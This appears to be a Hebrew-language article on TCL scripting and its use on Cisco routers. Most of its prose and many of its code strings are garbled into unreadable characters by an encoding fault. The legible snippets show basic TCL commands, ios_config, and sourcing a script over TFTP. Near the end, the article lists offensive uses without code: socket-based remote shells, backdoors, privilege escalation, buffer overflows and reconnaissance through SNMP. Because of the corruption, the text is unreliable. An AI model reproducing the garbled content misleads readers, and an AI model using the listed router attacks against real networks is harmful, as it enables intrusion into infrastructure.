TCL 

TCL πTool Command Language xʕ ˸˲˷ ˧˦˲˧˶˵˯˫ ˸˧ˬˮ˧ˡ ˢ˥˸ˣ˲˷ ˸ˣˮ˷˟ sπул ˪˰ ˧ˡ˧ ɣ˭ˣ ˦ˣ˶˦˯ˣ˞ Φ

ˢ˶˦ˬˢ ˸˧˶˵˧˰ˢ ˪˷ ˦˲˧˶˵˯ˢ ˞˧ˢ ˢ˧˴ˬˣ˦ˣ˞ Σ˪ˣˢ˧ˮ ˸ˣ˵˧ˡ˟ˣ ˢˮ˩ˣ˸ Φ TCL ˸˶˷˲˞ˬ ˷ˬ˸˷ˬ˪ ˢ˟ ˶ˣ˴˧˪ 
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˫˧˦˲˧˶˵˯ ˢ˶ˣ˴˟ ˢ˶˧ˢˬ ˢ˦ˣ˷˲ˣ ˸˧˯˥˧ Σ˞˧ˢ ˸ˬ˞˸ˣˬ ˢ˧˴ˬˣ˦ˣ˞˪ Σ˸ˮ˸˧ˮˣ ˸ˣ˪˵˟ ˢ˟˥˶ˢ˪ ˫˰ ˸ˣˡˣ˵˲ 

˸ˣ˲˷ˬ ˸ˣ˶˥˞ ˣˬ˩ ˸˲˷ C x˞ JavaΦ 

˸˲˷ ˯ˢ˫˧˦˲˧˶˵ ˣˤˢ ˞˧ˢ ˟˶π˸˧ˬ˶ˣ˲˦˪˲ Σˢˬ˧˞˸ˬ ˪πƛƴǳȄL ΣWindows ΣMac ˸ˣˬ˶ˣ˲˦˪˲ˣ Embedded 

ύ˸ˣ˴˟ˣ˷ˬ Σό˭ˢ˧ˮ˧˟ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ ˪˷ ˧˟˧˩˶ ˸˶ˣ˷˵˸ ˫˧˟˶Φ 

˱˯ˣˮ˟ ˸˲˷˪ TCL ˣˮ˶˩ˢ˷ ˸˰˩ Σ˷˧ ˫ˠ ˢ˧˶˲˯ ˸˶ˤˠˮˢ ˬπTCL Σ˸˧˞˶˵ˮˢ Tcl/tk Φˢ˧˶˲˯ˢ ˣˤˢ ˢ˲˧˯ˣˬ 

˸ˣ˪ˣ˩˧ GUI ˢ˧˴˵˧˲˶ˠˣ ˢ˲˷˟ Σ˪˟˞ ˞˧ˢ ˞˪ ˸˩ˬ˸ˮ ˪˩˟ ˸ˣˬ˶ˣ˲˦˪˲ˢ Σ˭ˢ˧ˮ˧˟ ˸ˣˬ˶ˣ˲˦˪˲ˢ Embedded 

˯˥˧˧˸ˮ˷ ˭ˢ˧˪˞ ˶ˬ˞ˬ˟ ˢˤˢΦ  

˯˵˦ˮ˧˯ ˢ˲˷ˢ ˸ˣ˞ˬˠˣˡˣ 

˟ˣ˷˥ ˫˧˷˪ ˟˪ ˪˩˷ ˶˟ˡ ˢ˲˷˟ ˣˤˢ Σˣ˪˧˲˞ ˧ˮ˟ˬ ˢ˲˷ ˣˬ˩ ƛŦ xπŦƻǊ ˞ˣˢ ˢˡˣ˵˲ Φˢ˲˷ˢ ˸˟˩˶ˣˬ ˢˡˣ˵˲ˬ 

˫˧˦ˮˬˣˠ˶˞ˣ ˫˧˞˟˷ ˢ˧˶˥˞Φ 

˞ˬˠˣˡ˪ ˢˡˣ˵˲ ˢ˦ˣ˷˲ ˸˯˲ˡˢ˪ ˦˪˲Υ 

Puts Ƨ(ÅÌÌÏ 7ÏÒÌÄƨ 

ˢ˪˧ˬˢ ˢˮˣ˷˞˶ˢ ˡ˧ˬ˸ ˢ˧ˢ˸ ˢˡˣ˵˲ˢ ˢ˧˶˥˞˪ˣ ˡ˧ˬ˸ ˰˧ˠ˧ ˦ˮˬˣˠ˶˞ˢΦ 

˧ˡ˩ ˶ˣ˴˧˪ ˢˮ˸˷ˬ ˷ˬ˸˷ˮ ˢˡˣ˵˲˟ ˢ˞˟ˢΥ 

Set ÖÁÒ Ƨʦʣƨ 

˯˧˲ˡˮˣ ˸˞ˤ ˸ˣ˰˴ˬ˞˟Υ 

Puts ƧʙÖÁÒƨ 

 

˸ˣ˞ˬˠˣˡ ˸ˣ˟˩˶ˣˬ ˶˸ˣ˧ ˷ˣˬ˧˷˟ ˟TCL-Υ 

˭˸˧ˮ ˶ˣ˴˧˪ ˢ˲˷˟ ˸ˣ˧˴˵ˮˣ˲ ˱ˣ˯˟˷ ˸ˣ˷ˬ˷ˬ ˣˮ˸ˣ˞ ˸ˣ˧˴ˬˣ˦ˣ˞˪. 

˸ˣ˧˴˵ˮˣ˲˪ ˸˲˷˟ TCL ˫˧˞˶ˣ˵ ˸ˣ˶ˣˡ˴ˣ˶˲ ˭ˢˣ ˸ˣ˟˸˩ˮ ˢ˶ˣ˴˟ ˢ˞˟ˢΥ 

Proc calculation {a b} {  
Return [ expr {$a + $b}] }  

ˢˡˣ˵˲ˢ ǊŜǘǳǊƴ ˢ˶˧ˤ˥ˬ ˸˞ ˫˧˩˶˰ˢ ˨ˣ˸ˬ ŜȄǇǊ ύˢˡˣ˵˲ ˸˷ˬ˷ˬ˷ ˟ˣ˷˧˥˪ ˧˦ˬ˸ˬΦό 
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˪ ˞ˬˠˣˡ˸˶˧˴˧ ˸˞˪ˣ˪ ŦƻǊ ˯˧˲ˡ˸˷ ˨˶˰ ˬπл ˡ˰ рΥ 

For { set i 0} {$i <= 5} { incr i} {  
    Puts ƧÔÈÅ ÎÕÍÂÅÒ ÉÓ ʙÉƨ ǆ  

˞ˬˠˣˡ ˦˲˧˶˵˯˪ Tcl\ tkΥ 

Package require Tk  
Button .b - ÔÅØÔ ƧÃÌÉÃË ÍÅƞƞƞƨ - command {puts Ƨ(ÅÌÌÏƞƨǆ 
Pack .b  

ˢ˶ˣ˷˟ ˢˮˣ˷˞˶ˢ ˶ˡˠˣˢ ˷ˣˬ˧˷ ˢ˧˶˲˯˟, ˶˥˞˪ ˭˩ˬ ˣˮ˶˴˧ ˶ˣ˸˲˩ ˢ˴˧˥˪˟˷ ˣ˧˪˰ ˯˲ˡˣ˸ ˸˰ˡˣˢ ˫ˣ˪˷ ˪˰ 

˨˯ˬˢΦ 

 

˶˷˵ˢ ˭˧˟ ˧˟˧˩˶ ˸˶ˣ˷˵˸ ˸˲˷˪ TCL 

˧˲˩ ˧˸ˮ˧˧˴˷ ˶˟˩ ˢ˪˰ˬ˪ Σ˸˲˷ˢ ˸ˣˮ˩˸ ˣˤˢ ˡˣ˞ˬ ˢ˴ˣ˲ˮ ˸ˣˬ˶ˣ˲˦˪˲˟ ˸ˣˮˣ˷ Σ˭ˢ˧ˮ˧˟ ŜƳōŜŘŘŜŘ Σ˸ˣ˪˪ˣ˩˷ 

˸˞ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢˢ ˪˷ ˧˟˧˩˶ ˸˶ˣ˷˵˸ ˫˧ˮˣ˷Φ 

˞ˣˢ ˢˤ ˶ˬ˞ˬ˟ ˧˶˵˧˰ˢ ˡˣ˵˧ˬˢ ˧˟˧˩˶ ˸˶ˣ˷˵˸ ˸˧˟ˬ Cisco π ˢ˶˟˥ ˡˣ˞ˬ ˡˣ˞ˬ ˡˣ˞ˬ ˸˶˩ˣˬ ˫˪ˣ˰˟ 

ˢˣˣˢˬ˷ ˸˧ˮ˵˥˷ ˢ˪˧˟ˣˬ ˫ˣ˥˸˟ ˡˣ˧˴ ˸˶ˣ˷˵˸, ˟ˣ˶ ˧˟˧˩˶ˢ ˸˶ˣ˷˵˸ ˸ˣ˸˷˶˟ ˸ˣ˧ˬ˪ˣ˰ˢ s ˫˪˷ CiscoΦ 

˧˟˧˩˶˟ Cisco ˸ˣ˵˷ˬˬ˸ˢˢ ˫˰ ˸˲˷ sTCL- ˸˰˴˟˸ˬ ˸ˣ˰˴ˬ˞˟ ˸ˡ˪˵ˢ ˢˡˣ˵˲ ǘŎƭǎƘ ύTCL ǎƘŜƭƭ Φό

ˢˡˣ˵˲ˢ ˣˤˢ ˸˶˷˲˞ˬ ˣˮ˪ ˥ˣ˸˲˪ ǎƘŜƭƭ ύ˸ˣ˵˷ˬˬ˸ˢ ˫˰ ˸˩˶˰ˬˢ ˢ˪˰˲ˢ ό˸˰˴˟˸ˬ˷ ˸ˣ˰˴ˬ˞˟ ˸˲˷ˢ 

TCL Φ˸ˣ˶˷˲˞ˢ ˸˞ˤˢ ˢ˶ˡˠˣˢ ˪˧˟˷˟ ˸˴˶ˢ ˸ˣ˧˴ˬˣ˦ˣ˞ ˪˰ ˫˧˟˧˩˶ˢ Σ˫ˣ˵ˬ˟ ˢˡ˪˵ˢ ˸˧ˮˡ˧ ˫˧˶˵ˬ˟ 

˫˧ˬ˧˧ˣ˯ˬΦ 

ǘŎƭǎƘ ˶˷˲ˣ˞ˬ ˪˪˩˟ ˧˟˧˩˶ˢ Cisco ˪˥ˢ ˞˯˶ˠˬ мнΦп ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Cisco IOS Φ˵˷ˬˬˢ ˢˮ˟ˣˬ ˨ˣ˸˟ 

˫˧˟˧˩˶ˢ ˣ˪˪ˢ ˭˧˞ˣ ˨˶ˣ˴ ˶˷˲˞˪ ˣ˸ˣ˞ Σ˧˩ ˞ˣˢ ˶˷˲ˣ˞ˬ ˸˧˦˪ˣ˲˧ˡ ύ˞˪˞ ˫˞ ˶ˡˠˣˢ ˸˶˥˞ ˢ˪˧˥˸˩˪ˬ ό˞ˣˢ 

˪ˣ˩˧ ˳ˣ˶˪ ˶˷˧ ˶˥˞˪ ˸ˡ˪˵ˢ ˢˡˣ˵˲ˢ ǘŎƭǎƘΦ 

˵˷ˬˬ sπtclsh ˡ˟ˣ˰ ˫˰ ˸ˬ˶ ˸ˣ˞˷˶ˢ ŜȄŜŎ Σ˰ˬ˷ˬ ˸ˣ˞˷˶ˢ ˸ˣˢˣ˟ˠ ˶˸ˣ˧ ˷ˬ˸˷ˬˬ ˪˧ˠ˶Φ 

User EXEC mode π ˟˴ˬ ˪˧ˠ˶ ˣ˟˷ ˷ˬ˸˷ˬ ˪ˣ˩˧ ˰˴˟˪ ˸ˣ˪ˣ˰˲ ˢ˧˧˲˴ ˡ˟˪˟. 

Privileged EXEC mode π ˟˴ˬ ˣ˟˷ ˷ˬ˸˷ˬ ˪ˣ˩˧ ˰˴˟˪ ˢ˧˧˲˴ ˸ˣ˪ˣ˰˲ xˢ˩˧˶˰ ˪˰ ˟˧˩˶ s˸˶ˣ˷˵˸. 

˫˧˶˵ˬ˟ ˫˧˟˶ ˸ˣ˶˷˲˞ˢ ˣˤˢ ˢ˧ˢ˸ ˢ˷˧ˠˮ ˧˞ˮ˩˦˪ ˸˶ˣ˷˵˸, ˫˧˷ˮ˞ˣ ˫˧˵˯˰˸ˬˢ ˧˟˧˩˶˟ ˸˶ˣ˷˵˸Φ 
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ˡ˴˧˩ ˫˧˷ˬ˸˷ˬ ˦˲˧˶˵˯˟ TCL ˧˟˧˩˶˟ ˸˶ˣ˷˵˸ ˢ˶ˠ˷˟Κ 

ˢˡ˧ˬ˟ ˧˞ˮ˩˦ˣ ˸˶ˣ˷˵˸ ˢ˴ˣ˶ ˸ˣ˞˶˪ ˫˞ ˸ˣˡˬ˰ ˸ˣ˧˲˧˴˲˯ ˸ˣ˪˧˰˲ ˣ˧˷˩˰ Σ˞ˣˢ ˪ˣ˩˧ ˰˴˟˪ ˢˡ˪˵ˢ ˸˧ˮˡ˧ ˪˷ 

˸ˡˣ˵˲ˢ PING ˪˩˪ ˸˟ˣ˸˩ Σˣ˞ ˞ˣˢ˷ ˪ˣ˩˧ ˳˧˶ˢ˪ ˦˲˧˶˵˯ ˞˟ˢ ˭ˣˮˠ˯˟Υ 

Foreach ipaddr  {10.0.0.0 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4} {  
exec ping $ipaddr }  

˞ˬˠˣˡ ˸˲˯ˣˮ ˞˧ˢ ˧ˣˮ˧˷ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ ˸ˣ˰˴ˬ˞˟ ˦˲˧˶˵˯ TCLΥ 

ios_config ƧÉÎÔ ÇʣƳʣƨ ƧÉÐ ÁÄÄÒ ʦʣƚʣƚʣƚʦ ʧʪʪƚʧʪʪƚʧʪʪƚʣƨ 
ios_config ƧÉÎÔ ÇʣƳʣƨ ƧÉÐ ÏÓÐÆ ÎÅÔ×ÏÒË ÐÏÕÉÎÔ- to - ÍÕÌÔÉÐÏÉÎÔƨ 
write memory 

˧ˣˮ˧˷ ˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ ˶˷˲˞˸ˬ ˣ˰˴ˬ˞˟ ˸ŜȄǘŜƴǘƛƻƴ ύˢ˟˥˶ˢ ό˞˶˵ˮˢ ƛƻǎψŎƻƴŦƛƎΦ 

˸ˣ˰˴ˬ˞˟ ˦˲˧˶˵˯ˢ ˞˟ˢ ˪˩ˣˮ ˶˧ˡˠˢ˪ ˶ˣ˟˰ ˟˧˩˶ˢ ˸˶ˣ˷˵˸ ˣˮ˪˷ ˸˞ sπƛƴǘŜǊŦŀŎŜΣ ˸˶ˤ˰˟ˣ ˢˡˣ˵˲ˢ 

ˢˮˣ˶˥˞ˢ ˪˩ˣˮ ˶ˣˬ˷˪ ˸˞ˤ ˭ˣ˶˩ˤ˟ ˟˧˩˶ˢ ˢ˶ˣ˴˟ ˢ˰ˣ˟˵Φ 

˫˧˶˵ˬ˟ ˧˸ˠ˴ˢ˷ ˢ˧ˢ ˭˸˧ˮ ˸ˣ˞˶˪ ˨˧˞ ˭˸˧ˮ ˸˸˪ ˸ˣˬ˧˷ˬ ˟˧˩˶˪ ˸˷˶ ˸ˣ˰˴ˬ˞˟ ˸˲˷ TCL Σ˪˟˞ ˪˩˟ 

˸ˣ˞ˬˠˣˡˢ ˣ˪˞ˢ ˣˮˡ˪˵ˢ ˸˞ ˦˲˧˶˵˯ˢ ˸ˣ˶˧˷˧ ˵˷ˬˬ˟ sCLI- Σ˪˵ˬ˷ ˣˮ˧˪˰ ˸˧˯˥˧ Σ˪˟˞ ˞˪ ˶˷˲˞ˬ ˣˮ˪ 

˸ˣ˪˧˰˧ ˥ˣˣ˦˪ ˨ˣ˶˞ Φ˸˥˞ ˸ˣ˧ˣ˶˷˲˞ˢ ˵˷ˬˬˢ˷ ˵˧ˮ˰ˬ ˞˧ˢ ˸˴˶ˢ ˫˧˦˲˧˶˵˯ ˫˧˧˪˞˵ˣ˪ ˫˧˶ˣˬ˷˷ ˪˰ 

˟˧˩˶ˢ, x˞ ˣ˪˧˲˞ ˫˧˶ˣˬ˷ ˵ˣ˥˶ˬΦ 

˫˞ ˢ˴˶ˮ ˳˧˶ˢ˪ ˦˲˧˶˵˯ ˟˷ˣ˧˷ ˸˧˪˞˵ˣ˪ ˪˰ ˟˧˩˶ˢ Σ˪˩ˣˮ ˸ˣ˷˰˪ ˸˞ˤ ˸ˣ˰˴ˬ˞˟ ˸˴˶ˢ ˢˡˣ˵˲ˢ ˢ˞˟ˢ 

˨ˣ˸˟ sπshellΥ 

Source /flash/path/to/script.tcl  

˱˯ˣˮ˟ ˨˩˪, ˪˩ˣˮ ˳˧˶ˢ˪ ˫˧˦˲˧˶˵˯ ˫˧˵˥ˣ˶ˬ Σ˫˧˞˴ˬˮˢ ˫ˣ˵ˬ˟ ˶˥˞, ˸ˣ˰˴ˬ˞˟ s˫˧˪ˣ˵ˣ˦ˣ˶˲ ˫˧˞˟ˢ Υ

HTTPκTFTPκFTP Φ˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˨˶ˡ˟ ˢ˞˟ˢΥ 

Source tftp://tftpserver/script.tcl  

ˣ˧˷˩˰ ˣˮ˟ˢ˷˩ ˸˞ ˸ˣˢˬ ˢ˲˷ˢ ˷ˣˬ˧˷ˢˣ ˢ˪˷ Σˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˪˩˸˯ˢ˪ ˢ˧˪˰ Σ˱ˣ˯ ˱ˣ˯ Σ˫ˠ ˭ˣˣ˧˩ˬ ˱˵ˣ˸ˢ Φˤ˞ 

˶ˣˤ˥ˮ ˢ˪˞˷˪ ˢˮˬˬ˷ ˣˮ˪˥˸ˢ π ˨˧˞ ˴˧˲ ˶˪˩ ˨˩ ˪˧˰˧ ˡˬ˥ˮˣ, ˪ˣ˩˧ ˨ˣ˲ˢ˪ ˸˞ ˟˧˩˶ s˸˶ˣ˷˵˸ ˰˧ˠ˲˪Κ 

˫ˡˣ˵ ˪˩ ˣ˞ˣ˟ ˭˧˟ˮ ˢˬ˪ ˢ˪˧˥˸˩˪ˬ ˟˧˩˶ ˸˶ˣ˷˵˸ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˰˧ˠ˲Κ 
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˧˟˧˩˶ ˸˶ˣ˷˵˸ ˢ˧˪ˣ˥˩ ˢ˷˪˥ ˸˷˶˟ 

мΦ ˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˪˷ ˧˟˧˩˶ ˸˶ˣ˷˵˸ ˞˪ ˡ˧ˬ˸ ˸ˣ˶ˡˠˣˬ ˧ˣ˞˶˩ Σ˭˧˟ ˫˞ ˶˟ˣˡˬ ˸ˡ˪˵ˢ˟ ˸ˣ˞ˬ˯˧˯ ˸˶˧˴˧ˣ 

˫˧˷ˬ˸˷ˬ ˫˧˧˪˞˵ˣ˪ ˫˰ ˞ˬ˯˧˯ ˟πPlain Text ˭˧˟˪ ˸˶ˡˠˢ ACL ˞˪ ˢˮ˧˵˸Φ 

нΦ ˷˧ ˧˷ˣ˵ ˭ˣ˩ˡ˰˟ ˧˟˧˩˶ ˸˶ˣ˷˵˸ ˣ˞˴ˬˮ˷ ˫ˢ˧˪˰ ˸ˣ˷˪ˣ˥ Σ˭ˣˣ˧˩ˬ ˢˤ˷ ˢ˶ˬˣ˥ ˶˵˧˷ ˶˸ˣ˧ 

˪˥ˢ˪˱˧Σ˸ˣ˵˯˰˸ˢˢˣ ˫˰ s˸˪˲ˢ ˸˷˶ ˨˶ˣ˴˪ ˭ˣ˩ˡ˰ Σ˫˧ˬ˰˲˪ ˢ˪ˣ˩˧ ˸ˣ˷˵ˢ˪ ˪˰ ˨˧˪ˢ˸ ˷ˣˡ˧˥ˢ Φ

ˢ˟˧˯ˢˬ ˣˤˢ ˫˧˟˧˩˶ˢ ˫˧˰˧ˠ˲ ˶˸ˣ˧ ˸ˣ˷˪ˣ˥˪ 1day xπ0day ˫˧˟˧˩˶ˬˬ ˫˧˶˥˞ ˸ˣ˸˷˶˟ ύˣˬ˩ ˞ˬˠˣˡ˪ 

˸ˣˡˬ˰ ˢ˴˵ ˣˬ˩ ˧˟˷˥ˬ WindowsΦό 

оΦ ˭˟ˣˬ˩ ˪˧ˠ˶˩ˣ ΦΦΦ˸ˣ˞ˬ˯˧˯ ˸ˣ˧˦˪ˣ˲˧ˡ ˭˧˞ ˢˬ ˭˧˧˴˪ ˭˞˩ Σ˫˧ˮˣˠ˶˞ ˸ˣ˶˟˥ˣ ˢ˟˶ˢ ˫˧ˬ˰˲ ˞˪ ˸ˣˮ˩ˡ˰ˬ ˸˞ 

˸ˣ˞ˬ˯˧˯ˢ ˣ˪˟˧˵˷ ˭˶˴˧ˢˬ ˫˶˰˴˪ˣ ˟˶ˢ Σ˭˸˧ˮ ˞ˣ˴ˬ˪ ˸˞ ˸ˣ˞ˬ˯˧˯ˢ ˣ˪˪ˢ ˸ˣ˪˵˟ ˷ˣ˲˧˥˟ ˶˧ˢˬ 

˦ˮ˶˦ˮ˧˞˟Φ 

пΦ ˢ˷˧ˠ ˢ˪˵ ˫˧˟˧˩˶˪ Σ˶˥˞ˬ ˫ˢˣ ˫˧ˣˣˢˬ ˭˧˰ˬ ˸ˡˣ˵ˮ ˢ˯˧ˮ˩ ˸ˣ˸˷˶˪ Φ˧˟˧˩˶ s˸˶ˣ˷˵˸ ˫˧˧˞˶˥˞ ˪˰ 

˶˟˰ˬˢ ˨ˣ˸˟ ˢ˴ˣ˥ˬˣ ,˸˷˶ˢ ˢ˪ π ˢˬ˧ˮ˲ Σˢˬ ˨˲ˣˢ˷ ˞˵ˣˣˡ ˫˸ˣ˞ ˫˧˲ˣ˷˥˪ ˶˸ˣ˧Φ 

рΦ ˢˤ˧˥˞ ˟˧˩˶˟ ˢˣˣˢˬ ˭ˣ˩˧˯ ˟˶ ˶˸ˣ˧ ˶˷˞ˬ ˢˤ˧˥˞ ˸ˡˬ˰˟ ˢ˴˵ Σ˶˥˞ˬ ˷˧ˣ x˪ ˢ˷˧ˠ ˫˧˦ˮˬˠ˯˪ ˫˧ˮˣ˷ 

˸˷˶˟ ˞˪˷ ˥˶˩ˢ˟ ˣ˧ˢ˧ ˫˧˟˷˥ˬ˪Φ 

ˤ˞ ˢ˲˧˞ ˫˧˯ˮ˩ˮ ˭˞˩ ˫˧˦˲˧˶˵˯ TCLΚ 

˪˩ ˸ˣ˷˪ˣ˥ˢ ˣ˦˶ˣ˲˷ ˢ˪˰ˬ ˸ˣˣˢˬ ˸ˣ˷˪ˣ˥ ˸ˣ˧ˮ˧˴˶ ˸˷˶˟ Σ˟˧˩˶ ˞˪˷ ˶ˡˠˣˢ ˧ˣ˞˶˩ ˪ˣ˩˧ ˸ˣˣˢ˪ ˭ˣ˩˧˯ ˟˶ 

ˡˣ˞ˬ ˢ˟˧˯ˢˬ ˢ˦ˣ˷˲ˢ ˫ˢ˧˪˞˷ ˶˸ˣ˧ ˪˵ ˰˧ˠˢ˪ Φ˭ˣˣ˧˩ˬ ˧˟˧˩˶˟˷ Cisco ˸˴˶ˢˢ ˫˧˦˲˧˶˵˯ ˪˷ TCL xʕ 

˸ˣ˶˷˲˞ ˸˧˦˪ˣ˲˧ˡ Σ˸ˣ˷˪ˣ˥ˢ ˣ˪˞ˢ ˸ˣ˪ˣ˩˧ ˫˴˰˸ˢ˪ ΦTCL ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˸˪˴ˣˮˬ ˢ˰˶˪ ˨˶ˣ˴˪ ˸˧˧˴ˬˣ˦ˣ˞ 

˸ˣ˲˵˸ˬ Σ˸˶˧˴˧ ōŀŎƪŘƻƻǊǎ Σ˸ˣˡˣ˵˲ ˸ˣ˶ˤˣ˥ Σ˸ˣˬ˧˷ˬ ˸ˣˮˬˤˣ˸ˬ Σ˶ˣ˷˧˵ ˫˧˟˧˩˶˪ ˫˧˶˥˞ ˸ˣˮˤ˞ˢˣ Φ˪˩ ˢˤ 

˧˪˟ ˢ˧˴˵˶˦ˮ˧˞ ˢ˶˧˷˧ ˫˰ ˟˧˩˶ˢ Σ˞˪˞ ˸ˣ˰˴ˬ˞˟ ˦˲˧˶˵˯ ˳˶˷ ˧˶ˣ˥˞ˬ ˫˧˰˪˵ˢ ˡ˰ ˢ˟˩˧˧˷ ˡ˥˧ ˫˰ ˟˧˩˶ˢΦ 

˪˩ ˢˤ ˧˶˷˲˞ ˫˞ ˷˧ ˸˞ ˸ˣ˞˷˶ˢˢ ˸ˣ˵˲˯ˬˢ ˸˴˶ˢ˪ ˫˧˦˲˧˶˵˯ˢΦ 
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˸ˣ˞ˬˠˣˡ ˪ˣ˴˧ˮ˪ ˪˷ TCLΥ 

мΦ ˸˩˧˶˰ ˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ Υ˸ˣ˰˴ˬ˞˟ ˢ˟˥˶ˢ ˪˷ ios_config Σ˭˸˧ˮ ˶ˣ˴˧˪ ˦˲˧˶˵˯ TCL ˪˩ˣ˧˷ ˸ˣˮ˷˪ 

˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ ˟˧˩˶˪ Σˣˬ˩ ˧ˣˮ˧˷ ˷ˣ˟˧˷ˣ ˪˷ ˸ˣ˶ˡˠˢ ˨˩ˣ π ˸˸˟˷ˢ ˟˧˩˶ Σˣ˞ ˢ˩˧˶˰ ˪˷ ˡ˥˞ ˸ˣˡ˷ˢ Σˣˬ˩ 

ACLΦ 

нΦ ˸˶˧˴˧ ˦˲˧˶˵˯ ˫˰ socket Υ˸ˣ˰˴ˬ˞˟ sπTCL ˭˸˧ˮ ˶ˣ˴˧˪ ˦˲˧˶˵˯ ˶ˣ˴˧˷ ˸˶ˣ˷˵˸ ˦˶ˣ˲˪ ˧ˮˣ˴˧˥ ˪˷ 

˱˵ˣ˸ Σ˨˩ˣ ˶˷˲˞˪ ˢˮˤ˞ˢ ˪˰ ,˦˶ˣ˲ˢ ˱˞ˣ Remote Shell Φ 

оΦ ˸˶˧˴˧ ˢˬ˧˷ˬ ˸ˮˬˤˣ˸ˬ Υ˭˸˧ˮ ˶ˣ˴˧˪ ˢˬ˧˷ˬ ˸ˮˬˤˣ˸ˬ ˳˧˶˸˷ ˸˞ ˦˲˧˶˵˯ˢ TCL ˶˷˲˞˸ˣ x˪ ˳ˣ˶˪ ˫ˠ 

˶˥˞˪ ˱˵ˣ˸ˢ˷ ˞˪ ˞˴ˬˮ ˶˟ˣ˥ˬ ˪˰ ˟˧˩˶ˢΦ 

пΦ ˸˩˧˶˰ ˫˧˦˲˧˶˵˯ ˫˧˧˪˞˵ˣ˪ Υˢˡ˧ˬ˟ ˭˧˞ˣ ˸ˣ˞˷˶ˢ ˸ˣ˵˲˯ˬ ˸˥˧˸˲˪ shell ˪˷ TCL Σ˭˸˧ˮ ˷˲˥˪ ˪˰ 

˟˧˩˶ˢ ˫˧˦˲˧˶˵˯ ˫˧˧˪˞˵ˣ˪ ˨ˣ˶˰˪ˣ ˫˸ˣ˞Φ 

рΦ ˸˶˧˴˧ backdoor Υ˶˰˸˩˧ ˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ ˫˞˸ˢ˟ ˧˩˶˴˪ ˱˵ˣ˸ˢ Φ˭˧˟ ˫˞ ˶˟ˣˡˬ ˸˲˯ˣˢ˟ ˷ˬ˸˷ˬ 

˸ˣ˰˴ˬ˞˟ ,˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ˢ x˞ ˶˷˲˞˪ ˷ˣˬ˧˷ ˪ˣ˵ˣ˦ˣ˶˲˟ ˞˪ ˥˦˟ˣ˞ˬ Σˣˬ˩ ˞ˬˠˣˡ˪ ǘŜƭƴŜǘΦ 

сΦ buffer overflow Υ˫˞ ˞˪ ˶ˡˠˣˬ ˧ˣ˞˶˩ Σ˟˧˩˶ˢ ˪ˣ˩˧ ˪ˣ˟˯˪ ˦˲˧˶˵˯ˬ ˱˧˴˧˷ ˸˞ ˭ˣ˶˩ˤˢ Σ˨˩ˣ ˢ˧ˢ˧ ˭˸˧ˮ 

˪˟˵˪ ˢ˷˧ˠ ˢ˞˪ˬ ˪˰ ˟˧˩˶ˢ ˫˧˶˵ˬ˟ ˫˧ˬ˧˧ˣ˯ˬΦ 

тΦ CVE Υˣ˞˴ˬˮ ˸ˣ˷˪ˣ˥ ˸˲˷˟ TCL ˫˧˶˵ˬ˟˷ ˫˧ˬ˧˧ˣ˯ˬ ˸ˣ˪ˣ˩˧ ˵˧ˮ˰ˢ˪ ˱˵ˣ˸˪ ˸ˣ˞˷˶ˢ Ǌƻƻǘ ˪˰ ˟˧˩˶ˢΦ 

 

˶ˣ˦˵ˣ ˢ˲˧˵˸ ˧˶˷˲˞ 

Reconnaissance ˧˟˧˯˞˲Υ 

ˢˡ˧ˬ˟ ˣˮ˥ˮ˞ˣ ˫˧˞˴ˬˮ ˸˷˶˟ Σ˪˟˞ ˫˰ ˸ˣ˞˷˶ˢ ˸ˣ˧˯˧˯˟ Σˢ˴˶ˮ ˠ˧˷ˢ˪ ˰ˡ˧ˬ ˪˰ ˸˷˶ˢ ˫˧˟˧˩˶ˢˣ ˢ˪˷ Φ

˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˢ˶ˣ˴˟ ˢ˦˵˷ Σ˰˧ ˰ˣ˴˧˟ ˢˮˤ˞ˢ ˢ˶ˣ˟˰˸˪ ˫˰ ˫˧˪˩ ˣˬ˩ WiresharkΦ 

Wireshark π ˧˪˩ ˸˲ˮ˯ˢ ˸˷˶ ˱˯ˣ˞˷ ˸ˣ˦˵˲ ˸ˣ˰˧ˠˬˢ ˯˧˦˶˩˪ ˸˷˶ ˥ˮ˰˲ˬˣ ˭˸ˣ˞ Φ˨ˣ˸˟ ˧˪˩ˢ ˭˸˧ˮ ˶˦˪˲˪ 

˸˞ ˰ˡ˧ˬˢ Σ˶ˣ˵˥˪ ˸˞ ˢ˶ˣ˟˰˸ˢ ˸˧˸˷˶ˢ ˞ˣ˶˵˪ˣ ˸˞ ˭˩ˣ˸ ˸ˣ˦˵˲ˢΦ 

ˢˬ ˢ˴˶ˮ˷ ˶˵˧˰˟ ˷˲˥˪ ˣ˧ˢ˧ ˸ˣ˦˵˲ ˪˷ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˞˪ ˸˧ˮ˲˴ˣˬ Σˣˬ˩Υ 

¶ SNMP π ˪ˣ˵ˣ˦ˣ˶˲ ˪ˣˢ˧ˮ ˶ˣ˦˧ˮˣ ˪˰ ˫˧˟˧˩˶ ˸˷˶˟ Φˢˡ˧ˬ˟ xˢˢˤˮ ˸ˣ˦˵˲ SNMP ˭ˢ˟˷ sπcommunity 

string ˶ˡˠˣˬ ˢ˶ˣ˴˟ ˞˪ ˸˵˲˯ˬ Σ˪˩ˣˮ ˪˴ˮ˪ ˸˞ ˢˤ ˠ˧˷ˢ˪ˣ ˰ˡ˧ˬ ˪˰ ˸˷˶ˢΣˣˬ˩ ˸ˬ˧˷˶ ˫˧˟˧˩˶ Σ

